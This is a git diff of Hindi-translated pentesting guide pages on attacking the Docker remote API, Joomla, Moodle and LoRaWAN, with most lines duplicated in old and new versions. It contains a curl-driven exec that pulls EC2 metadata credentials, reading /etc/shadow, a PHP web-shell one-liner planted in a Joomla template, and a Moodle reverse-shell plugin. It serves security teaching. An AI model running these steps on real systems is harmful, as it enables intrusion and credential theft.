- [**runc**](http://runc.io): इसके **हल्के और सार्वभौमिक कंटेनर रनटाइम** क्षमताओं के लिए प्रसिद्ध, runc **OCI मानक** के साथ संरेखित है। इस containerd द्वारा **OCI दिशानिर्देशों** के अनुसार **कंटेनरों को प्रारंभ और प्रबंधित** करने के लिए उपयोग किया जाता है, जो मूल **libcontainer** से विकसित हुआ है।
- [**grpc**](http://www.grpc.io) **containerd** और **docker-engine** के बीच **संवाद को सुविधाजनक** बनाने के लिए आवश्यक है, जो **कुशल इंटरैक्शन** सुनिश्चित करता है।
- [**OCI**](https://www.opencontainers.org) **रनटाइम और छवियों** के लिए **OCI विनिर्देशों** को बनाए रखने में महत्वपूर्ण है, नवीनतम Docker संस्करण **OCI छवि और रनटाइम** मानकों के साथ **अनुरूप** हैं।
- [**runc**](http://runc.io): इसके **हल्के और सार्वभौमिक कंटेनर रनटाइम** क्षमताओं के लिए प्रसिद्ध, runc **OCI मानक** के साथ संरेखित है। इसका उपयोग containerd द्वारा **OCI दिशानिर्देशों** के अनुसार **कंटेनरों को प्रारंभ और प्रबंधित** करने के लिए किया जाता है, जो मूल **libcontainer** से विकसित हुआ है।
- [**grpc**](http://www.grpc.io) **containerd** और **docker-engine** के बीच **संचार को सुविधाजनक** बनाने के लिए आवश्यक है, जो **कुशल इंटरैक्शन** सुनिश्चित करता है।
- [**OCI**](https://www.opencontainers.org) **OCI विनिर्देशों** को रनटाइम और छवियों के लिए बनाए रखने में महत्वपूर्ण है, नवीनतम Docker संस्करण **OCI छवि और रनटाइम** मानकों के साथ **अनुरूप** हैं।
#### Basic commands
```bash
@ -45,7 +45,7 @@ docker system prune -a
एक प्रमुख डिज़ाइन निर्णय यह है कि **Containerd नेटवर्किंग को संभालता नहीं है**। नेटवर्किंग को वितरित प्रणालियों में एक महत्वपूर्ण तत्व माना जाता है, जिसमें सॉफ़्टवेयर परिभाषित नेटवर्किंग (SDN) और सेवा खोज जैसी जटिलताएँ शामिल हैं जो एक प्लेटफ़ॉर्म से दूसरे प्लेटफ़ॉर्म में काफी भिन्न होती हैं। इसलिए, Containerd नेटवर्किंग पहलुओं को उन प्लेटफार्मों द्वारा प्रबंधित करने के लिए छोड़ देता है जिनका वह समर्थन करता है।
जबकि **Docker कंटेनरों को चलाने के लिए Containerd का उपयोग करता है**, यह ध्यान रखना महत्वपूर्ण है कि Containerd केवल Docker की कार्यक्षमताओं के एक उपसमुच्चय का समर्थन करता है। विशेष रूप से, Containerd में Docker में मौजूद नेटवर्क प्रबंधन क्षमताओं की कमी है और यह सीधे Docker स्वार्म बनाने का समर्थन नहीं करता है। यह भेद Containerd की केंद्रित भूमिका को एक कंटेनर रनटाइम वातावरण के रूप में उजागर करता है, जो इसके साथ एकीकृत प्लेटफार्मों को अधिक विशेषीकृत कार्यक्षमताएँ सौंपता है।
जबकि **Docker Containerd का उपयोग करता है** कंटेनरों को चलाने के लिए, यह ध्यान रखना महत्वपूर्ण है कि Containerd केवल Docker की कार्यक्षमताओं के एक उपसमुच्चय का समर्थन करता है। विशेष रूप से, Containerd में Docker में मौजूद नेटवर्क प्रबंधन क्षमताएँ नहीं हैं और यह सीधे Docker स्वार्म बनाने का समर्थन नहीं करता है। यह भेद Containerd की केंद्रित भूमिका को एक कंटेनर रनटाइम वातावरण के रूप में उजागर करता है, जो इसके साथ एकीकृत प्लेटफार्मों को अधिक विशेषीकृत कार्यक्षमताएँ सौंपता है।
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -63,20 +63,20 @@ ctr container delete <containerName>
```
#### Podman
**Podman** एक ओपन-सोर्स कंटेनर इंजन है जो [Open Container Initiative (OCI) standards](https://github.com/opencontainers) का पालन करता है, जिसे Red Hat द्वारा विकसित और बनाए रखा गया है। यह **daemonless architecture** और **rootless containers** के समर्थन के साथ Docker से अलग है, जिससे उपयोगकर्ता बिना रूट विशेषाधिकार के कंटेनर चला कते है
**Podman** एक ओपन-सोर्स कंटेनर इंजन है जो [Open Container Initiative (OCI) standards](https://github.com/opencontainers) के अनुसार है, जिसे Red Hat द्वारा विकसित और बनाए रखा गया है। यह Docker से कई विशिष्ट विशेषताओं के साथ अलग है, विशेष रूप से इसकी **daemonless architecture** और **rootless containers** के लिए समर्थन, जो उपयोगकर्ताओं को बिना रूट विशेषाधिकार के कंटेनर चलानेी अनुमि दता है।
Podman को Docker के API के साथ संगत बनाने के लिए डिज़ाइन किया गया है, जिससे Docker CLI कमांड का उपयोग किया जा सकता है। यह संगतता इसके पारिस्थितिकी तंत्र तक फैली हुई है, जिसमें **Buildah** जैसे उपकरण शामिल हैं जो कंटेनर छवियों को बनाने के लिए और **Skopeo** छवि संचालन जैसे push, pull, और inspect के लिए हैं। इन उपकरणों के बारे में अधिक जानकारी उनके [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools) पर मिल सकती है।
Podman को Docker के API के साथ संगत बनाने के लिए डिज़ाइन किया गया है, जिससे Docker CLI कमांड का उपयोग किया जा सकता है। यह संगतता इसके पारिस्थितिकी तंत्र तक फैली हुई है, जिसमें **Buildah** जैसे उपकरण शामिल हैं जो कंटेनर छवियों को बनाने के लिए और **Skopeo** छवि संचालन जैसे पुश, पुल, और निरीक्षण के लिए हैं। इन उपकरणों के बारे में अधिक जानकारी उनके [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools) पर मिल सकती है।
**Key Differences**
- **Architecture**: Docker के क्लाइंट-सरवर मॉडल के विपरीत जिसमें एक बैकग्राउंड डेमन होता है, Podman बिना डेमन के काम करता है। इस डिज़ाइन का अर्थ है कि कंटेनर उन विशेषाधिकारों के साथ चलते हैं जो उपयोगकर्ता ने शुरू किए हैं, जिससे सुरक्षा में सुधार होता है क्योंकि रूट एक्सेस की आवश्यकता समाप्त हो जाती है।
- **Architecture**: Docker के क्लाइंट-सरवर मॉडल के विपरीत जिसमें एक बैकग्राउंड डेमन होता है, Podman बिना डेमन के काम करता है। इस डिज़ाइन का अर्थ है कि कंटेनर उन विशेषाधिकारों के साथ चलते हैं जो उपयोगकर्ता ने शुरू किए हैं, जिससे सुरक्षा बढ़ती है क्योंकि रूट एक्सेस की आवश्यकता समाप्त हो जाती है।
- **Systemd Integration**: Podman **systemd** के साथ कंटेनरों का प्रबंधन करने के लिए एकीकृत होता है, जिससे systemd इकाइयों के माध्यम से कंटेनर प्रबंधन की अनुमति मिलती है। यह Docker के उपयोग के विपरीत है, जो मुख्य रूप से Docker डेमन प्रक्रिया के प्रबंधन के लिए systemd का उपयोग करता है।
- **Rootless Containers**: Podman की एक महत्वपूर्ण विशेषता यह है कि यह प्रारंभ करने वाले उपयोगकर्ता के विशेषाधिकारों के तहत कंटेनर चलाने की क्षमता है। यह दृष्टिकोण कंटेनर उल्लंघनों से जुड़े जोखिमों को कम करता है, यह सुनिश्चित करते हुए कि हमलावर केवल समझौता किए गए उपयोगकर्ता के विशेषाधिकार प्राप्त करते हैं, न कि रूट एक्सेस।
- **Rootless Containers**: Podman की एक महत्वपूर्ण विशेषता यह है कि यह प्रारंभ करने वाले उपयोगकर्ता के विशेषाधिकारों के तहत कंटेनर चलाने की क्षमता रखता है। यह दृष्टिकोण कंटेनर उल्लंघनों से जुड़े जोखिमों को कम करता है, यह सुनिश्चित करते हुए कि हमलावर केवल समझौता किए गए उपयोगकर्ता के विशेषाधिकार प्राप्त करते हैं, न कि रूट एक्सेस।
Podman का दृष्टिकोण Docker के लिए एक सुरक्षित और लचीला विकल्प प्रदान करता है, जो उपयोगकर्ता विशेषाधिकार प्रबंधन और मौजूदा Docker कार्यप्रवाहों के साथ संगतता पर जोर देता है।
> [!NOTE]
> ध्यान दें कि Podman का लक्ष्य Docker के समान API का समर्थन करना है, आप Podman के साथ वही कमांड का उपयोग कर सकते हैं जो Docker के साथ हैं जैसे:
> [!TIP]
> ध्यान दें कि चूंकि podman का लक्ष्य docker के समान API का समर्थन करना है, आप podman के साथ वही कमांड का उपयोग कर सकते हैं जो docker के साथ हैं जैसे:
>
> ```bash
> podman --version
@ -87,7 +87,7 @@ Podman का दृष्टिकोण Docker के लिए एक सु
### Basic Information
Remote API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब सक्षम किया गया हो। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं होगी जिससे एक हमलावर को विशेषाधिकार प्राप्त Docker कंटेनर शुरू करने की अनुमति मिलती है। Remote API का उपयोग करके कोई भी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और होस्ट के वातावरण की फ़ाइलों को पढ़/लिख सकता है।
रिमोट API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब सक्षम किया गया हो। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं करेगी जिससे एक हमलावर को विशेषाधिकार प्राप्त docker कंटेनर शुरू करने की अनुमति मिलती है। रिमोट API का उपयोग करके कोई भी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और होस्ट के वातावरण की फ़ाइलों को पढ़/लिख सकता है।
**Default port:** 2375
```
@ -136,7 +136,7 @@ GitCommit: fec3683
```
यदि आप **`docker` कमांड के साथ रिमोट डॉकर API से संपर्क कर सकते हैं** तो आप **किसी भी** **docker** [**कमांड को निष्पादित**](2375-pentesting-docker.md#basic-commands) कर सकते हैं ताकि सेवा के साथ बातचीत की जा सके।
> [!NOTE]
> [!TIP]
> आप `export DOCKER_HOST="tcp://localhost:2375"` कर सकते हैं और **`-H`** पैरामीटर का उपयोग करने से **बच सकते हैं**
**तेज़ विशेषाधिकार वृद्धि**
@ -152,7 +152,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -199,7 +199,7 @@ cat /mnt/etc/shadow
### विशेषाधिकार वृद्धि
यदि आप एक होस्ट के अंदर हैं जो डॉकर का उपयोग कर रहा है, तो आप [**विशेषाधिकार बढ़ाने के लिए इस जानकारी को पढ़ सकते हैं**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
यदि आप एक होस्ट के अंदर हैं जो docker का उपयोग कर रहा है, तो आप [**विशेषाधिकार बढ़ाने के लिए इस जानकारी को पढ़ सकते हैं**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
### चल रहे Docker कंटेनरों में रहस्यों की खोज करना
```bash
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `./docker-bench-security.sh`
- आप अपने वर्तमान docker स्थापना की जांच करने के लिए उपकरण [https://github.com/kost/dockscan](https://github.com/kost/dockscan) का उपयोग कर सकते हैं।
- `dockscan -v unix:///var/run/docker.sock`
- आप उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं यह जानने के लिए कि एक कंटेनर को विभिन्न सुरक्षा विकल्पों के साथ चलाने पर क्या विशेषाधिकार मिलेंगे। यह कुछ सुरक्षा विकल्पों का उपयोग करके एक कंटेनर चलाने के प्रभावों को जानने के लिए उपयोगी है:
- आप उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं ताकि यह पता चले कि एक कंटेनर को विभिन्न सुरक्षा विकल्पों के साथ चलाने पर कौन से विशेषाधिकार मिलेंगे। यह कुछ सुरक्षा विकल्पों का उपयोग करके कंटेनर चलाने के प्रभावों को जानने के लिए उपयोगी है:
- `docker run --rm -it r.j3ss.co/amicontained`
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -239,29 +239,29 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Securing Dockerfiles
- आप उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए। प्रत्येक गलत कॉन्फ़िगरेशन को एक ID दी जाएगी, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) देख सकते हैं कि उन्हें कैसे ठीक किया जाए।
- आप उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं ताकि **आपके Dockerfile** की जांच की जा सके और सभी प्रकार की गलत कॉन्फ़िगरेशन को खोजा जा सके। प्रत्येक गलत कॉन्फ़िगरेशन को एक ID दी जाएगी, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) देख सकते हैं कि उन्हें कैसे ठीक किया जाए।
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
- आप उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए
- आप उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं ताकि **आपके Dockerfile** की जांच की जा सके और सभी प्रकार की गलत कॉन्फ़िगरेशन को खोजा जा सके
- `dockerfilelint Dockerfile`
![](<../images/image (212).png>)
- आप उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए
- आप उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं ताकि **आपके Dockerfile** की जांच की जा सके और सभी प्रकार की गलत कॉन्फ़िगरेशन को खोजा जा सके
- `dockerlint Dockerfile`
![](<../images/image (71).png>)
- आप उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए
- आप उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं ताकि **आपके Dockerfile** की जांच की जा सके और सभी प्रकार की गलत कॉन्फ़िगरेशन को खोजा जा सके
- `hadolint Dockerfile`
![](<../images/image (501).png>)
#### Logging Suspicious activity
- आप उपकरण [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) का उपयोग कर सकते हैं **चल रहे कंटेनरों में संदिग्ध व्यवहार का पता लगाने** के लिए
- आप उपकरण [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) का उपयोग कर सकते हैं ताकि **चल रहे कंटेनरों में संदिग्ध व्यवहार का पता लगाया जा सके**
- निम्नलिखित खंड में ध्यान दें कि **Falco एक कर्नेल मॉड्यूल संकलित करता है और इसे सम्मिलित करता है**। इसके बाद, यह नियमों को लोड करता है और **संदिग्ध गतिविधियों को लॉग करना शुरू करता है**। इस मामले में, इसने 2 विशेषाधिकार प्राप्त कंटेनरों का पता लगाया, जिनमें से 1 संवेदनशील माउंट के साथ था, और कुछ सेकंड बाद इसने देखा कि एक शेल एक कंटेनर के अंदर खोला गया था।
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco

View File

@ -5,7 +5,7 @@
### Joomla Statistics
Joomla कुछ गुमनाम [उपयोग सांख्यिकी](https://developer.joomla.org/about/stats.html) एकत्र करता है जैसे Joomla, PHP और डेटाबेस संस्करणों और Joomla इंस्टॉलेशन पर उपयोग में सर्वर ऑपरेटिंग सिस्टम का विभाजन। इस डेटा को उनके सार्वजनिक [API](https://developer.joomla.org/about/stats/api.html) के माध्यम से क्वेरी किया जा सकता है।
Joomla कुछ गुमनाम [उपयोग सांख्यिकी](https://developer.joomla.org/about/stats.html) एकत्र करता है जैसे Joomla, PHP और डेटाबेस संस्करणों और Joomla इंस्टॉलेशन पर उपयोग में आने वाले सर्वर ऑपरेटिंग सिस्टम का विभाजन। इस डेटा को उनके सार्वजनिक [API](https://developer.joomla.org/about/stats/api.html) के माध्यम से क्वेरी किया जा सकता है।
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -37,7 +37,7 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
### Discovery/Footprinting
- Check the **meta**
- **मेटा** की जांच करें
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### संस्करण
@ -92,11 +92,11 @@ admin:admin
```
## RCE
यदि आप **admin credentials** प्राप्त करने में सफल हो गए हैं, तो आप **RCE अंदर** **PHP कोड** का एक स्निपेट जोड़कर **RCE** प्राप्त कर सकते हैं। हम इसे **template** को **कस्टमाइज़** करके कर सकते हैं।
यदि आप **admin credentials** प्राप्त करने में सफल हो गए हैं, तो आप **RCE अंदर** प्राप्त करने के लिए **PHP कोड** का एक स्निपेट जोड़ सकते हैं। हम इसे **template** को **कस्टमाइज़** करके कर सकते हैं।
1. **`Templates`** पर क्लिक करें जो `Configuration` के तहत नीचे बाईं ओर है ताकि टेम्पलेट मेनू खुल सके।
2. एक **template** नाम पर क्लिक करें। आइए **`protostar`** `Template` कॉलम हेडर के तहत चुनते है। यह हमें **`Templates: Customise`** पृष्ठ पर ले जाएगा।
3. अंत में, आप एक पृष्ठ पर क्लिक कर सकते हैं ताकि **पृष्ठ स्रोत** खुल सके। आइए **`error.php`** पृष्ठ चुनते हैं। हम कोड निष्पादन प्राप्त करने के लिए एक **PHP one-liner** जोड़ेंगे जैसा कि निम्नलिखित है:
1. **`Templates`** पर क्लिक करें जो `Configuration` के तहत नीचे बाईं ओर है, ताकि टेम्पलेट मेनू खुल सके।
2. एक **template** नाम पर क्लिक करें। आइए **`protostar`** चुनते हैं ज`Template` कॉलम हेडर के तहत है। यह हमें **`Templates: Customise`** पृष्ठ पर ले जाएगा।
3. अंत में, आप एक पृष्ठ पर क्लिक कर सकते हैं ताकि **पृष्ठ स्रोत** खुल सके। आइए **`error.php`** पृष्ठ चुनते हैं। हम कोड निष्पादन प्राप्त करने के लिए एक **PHP one-liner** जोड़ेंगे:
1. **`system($_GET['cmd']);`**
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
@ -105,7 +105,7 @@ admin:admin
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla शोषण स्क्रिप्ट जो **XSS को RCE या अन्य महत्वपूर्ण कमजोरियों में बढ़ाती है**। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Joomla संस्करण 5.X.X, 4.X.X, और 3.X.X के लिए समर्थन प्रदान करता है, और अनुमति देता है:**
- _**Privilege Escalation:**_ Joomla में एक उपयोगकर्ता बनाता है।
- _**(RCE) Built-In Templates Edit:**_ Joomla में एक Built-In Templates को संपादित करता है।
- _**(RCE) Built-In Templates Edit:**_ Joomla में Built-In Templates को संपादित करता है।
- _**(Custom) Custom Exploits:**_ तृतीय-पक्ष Joomla प्लगइन्स के लिए कस्टम शोषण।

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -66,13 +66,13 @@ cmsmap http://moodle.example.com/<moodle_path>
## **RCE**
आपको **प्रबंधक** भूमिका में होना चाहिए और आप **"Site administration"** टैब के अंदर **प्लगइन्स स्थापित कर सकते हैं**:
आपको **प्रबंधक** भूमिका होनी चाहिए और आप **"Site administration"** टैब के अंदर **प्लगइन्स स्थापित कर सकते हैं**:
![](<../../images/image (630).png>)
यदि आप प्रबंधक हैं, तो आपको अभी भी **इस विकल्प को सक्रिय करने** की आवश्यकता हो सकती है। आप देख सकते हैं कि moodle विशेषाधिकार वृद्धि PoC में कैसे: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)।
फिर, आप **निम्नलिखित प्लगइन स्थापित कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev shell** है (_इसे अपलोड करने से पहले आपको इसे डिकंप्रेस करना होगा, IP और पोर्ट को बदलना होगा और फिर से संकुचित करना होगा_)
फिर, आप **निम्नलिखित प्लगइन स्थापित कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev shell** है (_इसे अपलोड करने से पहले आपको इसे अनजिप करना होगा, revshell का IP और पोर्ट बदलना होगा और फिर से संकुचित करना होगा_)
{{#file}}
moodle-rce-plugin.zip

View File

@ -4,20 +4,20 @@
## Introduction
**लो-पावर वाइड एरिया नेटवर्क** (LPWAN) एक समूह है वायरलेस, लो-पावर, वाइड-एरिया नेटवर्क तकनीकों का जो **लंबी दूरी के संचार** के लिए डिज़ाइन की गई हैं, जो कम बिट दर पर काम करती हैं
ये **छह मील** से अधिक की दूरी तक पहुँच सकते हैं और उनकी **बैटर** **20 वर्षों** तक चल सकती है।
**Low-Power Wide Area Network** (LPWAN) एक समूह है वायरलेस, कम-शक्ति, विस्तृत-क्षेत्र नेटवर्क तकनीकों का जो **लंबी दूरी के संचार** के लिए डिज़ाइन की गई हैं, एक कम बिट दर पर
ये **छह मील** से अधिक की दूरी तक पहुँच सकते हैं और उनकी **बैटरियाँ** **20 वर्षों** तक चल सकती है
लॉन्ग रेंज (**LoRa**) वर्तमान में सबसे अधिक तैनात LPWAN भौतिक परत है और इसका ओपन MAC-परत विनिर्देशन **LoRaWAN** है।
Long Range (**LoRa**) वर्तमान में सबसे अधिक तैनात LPWAN भौतिक परत है और इसका ओपन MAC-परत विनिर्देशन **LoRaWAN** है।
---
## LPWAN, LoRa, और LoRaWAN
* LoRa चिरप स्प्रेड स्पेक्ट्रम (CSS) भौतिक परत जो Semtech द्वारा विकसित की गई है (स्वामित्व लेकिन प्रलेखित)।
* LoRa Chirp Spread Spectrum (CSS) भौतिक परत जो Semtech द्वारा विकसित की गई है (स्वामित्व लेकिन प्रलेखित)।
* LoRaWAN ओपन MAC/नेटवर्क परत जिसे LoRa-Alliance द्वारा बनाए रखा जाता है। संस्करण 1.0.x और 1.1 क्षेत्र में सामान्य हैं।
* सामान्य आर्किटेक्चर: *एंड-डिवाइस → गेटवे (पैकेट-फॉरवर्डर) → नेटवर्क-सेर्वर → एप्लिकेशन-सेर्वर*।
* सामान्य आर्किटेक्चर: *अंत-उपकरण → गेटवे (पैकेट-फॉरवर्डर) → नेटवर्क-सेवा → अनुप्रयोग-सेवा*।
> **सुरक्षा मॉडल** दो AES-128 रूट कुंजियों (AppKey/NwkKey) पर निर्भर करता है जो *जॉइन* प्रक्रिया (OTAA) के दौरान सत्र कुंजियाँ निकालती हैं या हार्ड-कोडेड होती हैं (ABP)। यदि कोई कुंजी लीक होती है, तो हमलावर को संबंधित ट्रैफ़िक पर पूर्ण पढ़ने/लिखने की क्षमता मिल जाती है।
> **सुरक्षा मॉडल** दो AES-128 रूट कुंजियों (AppKey/NwkKey) पर निर्भर करता है जो *जोड़ने* की प्रक्रिया (OTAA) के दौरान सत्र कुंजियाँ निकालते हैं या हार्ड-कोडेड होते हैं (ABP)। यदि कोई कुंजी लीक होती है, तो हमलावर को संबंधित ट्रैफ़िक पर पूर्ण पढ़ने/लिखने की क्षमता मिलती है।
---
@ -26,16 +26,16 @@
| परत | कमजोरी | व्यावहारिक प्रभाव |
|-------|----------|------------------|
| PHY | प्रतिक्रियाशील / चयनात्मक जामिंग | 100 % पैकेट हानि एकल SDR और <1 W आउटपुट के प्रदर्शि |
| MAC | जॉइन-स्वीकृति और डेटा-फ्रेम पुनःप्रयोजन (nonce पुन: उपयोग, ABP काउंटर रोलओवर) | डिवाइस स्पूफिंग, संदेश इंजेक्शन, DoS |
| नेटवर्क-सेर्वर | असुरक्षित पैकेट-फॉरवर्डर, कमजोर MQTT/UDP फ़िल्टर, पुराना गेटवे फर्मवेयर | गेटवे पर RCE → OT/IT नेटवर्क में पिवट |
| एप्लिकेशन | हार्ड-कोडेड या पूर्वानुमानित AppKeys | ट्रैफ़िक को ब्रूट-फोर्स/डिक्रिप्ट करें, सेंसर का अनुकरण करें |
| MAC | Join-Accept & डेटा-फ्रेम पुनःप्रयोजन (nonce पुन: उपयोग, ABP काउंटर रोलओवर) | उपकरण धोखाधड़ी, संदेश इंजेक्शन, DoS |
| नेटवर्क-सेवा | असुरक्षित पैकेट-फॉरवर्डर, कमजोर MQTT/UDP फ़िल्टर, पुराना गेटवे फर्मवेयर | गेटवे पर RCE → OT/IT नेटवर्क में पिवट |
| अनुप्रयोग | हार्ड-कोडेड या पूर्वानुमानित AppKeys | ट्रैफ़िक को ब्रूट-फोर्स/डिक्रिप्ट करें, संवदकों का अनुकरण करें |
---
## हाल की कमजोरियाँ (2023-2025)
* **CVE-2024-29862** *ChirpStack गेटवे-ब्रिज और mqtt-फॉरवर्डर* ने TCP पैकेट स्वीकार किए जो Kerlink गेटवे पर स्टेटफुल फ़ायरवॉल नियमों को बायपास करते थे, जिससे दूरस्थ प्रबंधन इंटरफ़ेस का प्रदर्शन हुआ। इसे क्रमशः 4.0.11 / 4.2.1 में ठीक किया गया।
* **Dragino LG01/LG308 श्रृंखला** कई 2022-2024 CVEs (जैसे 2022-45227 निर्देशिका यात्रा, 2022-45228 CSRF) 2025 में अभी भी बिना पैच के देखी गईं; हजारों सार्वजनिक गेटवे पर बिना प्रमाणीकरण फर्मवेयर डंप या कॉन्फ़िगरेशन ओवरराइट सक्षम करें।
* **CVE-2024-29862** *ChirpStack गेटवे-ब्रिज & mqtt-फॉरवर्डर* ने TCP पैकेट स्वीकार किए जो Kerlink गेटवे पर स्थिति-आधारित फ़ायरवॉल नियमों को बायपास करते थे, जिससे दूरस्थ प्रबंधन इंटरफ़ेस का प्रदर्शन हुआ। इसे क्रमशः 4.0.11 / 4.2.1 में ठीक किया गया।
* **Dragino LG01/LG308 श्रृंखला** कई 2022-2024 CVEs (जैसे 2022-45227 निर्देशिका यात्रा, 2022-45228 CSRF) 2025 में अभी भी बिना पैच के देखे गए; हजारों सार्वजनिक गेटवे पर बिना प्रमाणीकरण फर्मवेयर डंप या कॉन्फ़िगरेशन ओवरराइट सक्षम करें।
* Semtech *पैकेट-फॉरवर्डर UDP* ओवरफ्लो (अप्रकाशित सलाह, पैच 2023-10): 255 B से बड़ा तैयार अपलिंक स्टैक-स्मैश को ट्रिगर करता है > SX130x संदर्भ गेटवे पर RCE (Black Hat EU 2023 “LoRa Exploitation Reloaded” द्वारा पाया गया)।
---
@ -55,11 +55,11 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
1. एक वैध **JoinRequest** कैप्चर करें।
2. इसे तुरंत पुनः प्रसारित करें (या RSSI बढ़ाएं) इससे पहले कि मूल डिवाइस फिर से प्रसारित करे।
3. नेटवर्क-सेवा एक नया DevAddr और सत्र कुंजी आवंटित करता है जबकि लक्षित डिवाइस पुराने सत्र के साथ जारी रहता है → हमलावर के पास खाली सत्र होता है और वह जाली अपलिंक इंजेक्ट कर सकता है।
3. नेटवर्क-सर्वर एक नया DevAddr और सत्र कुंजी आवंटित करता है जबकि लक्षित डिवाइस पुराने सत्र के साथ जारी रहता है → हमलावर के पास खाली सत्र होता है और वह जाली अपलिंक इंजेक्ट कर सकता है।
### 3. अनुकूलन डेटा-रेट (ADR) डाउनग्रेडिंग
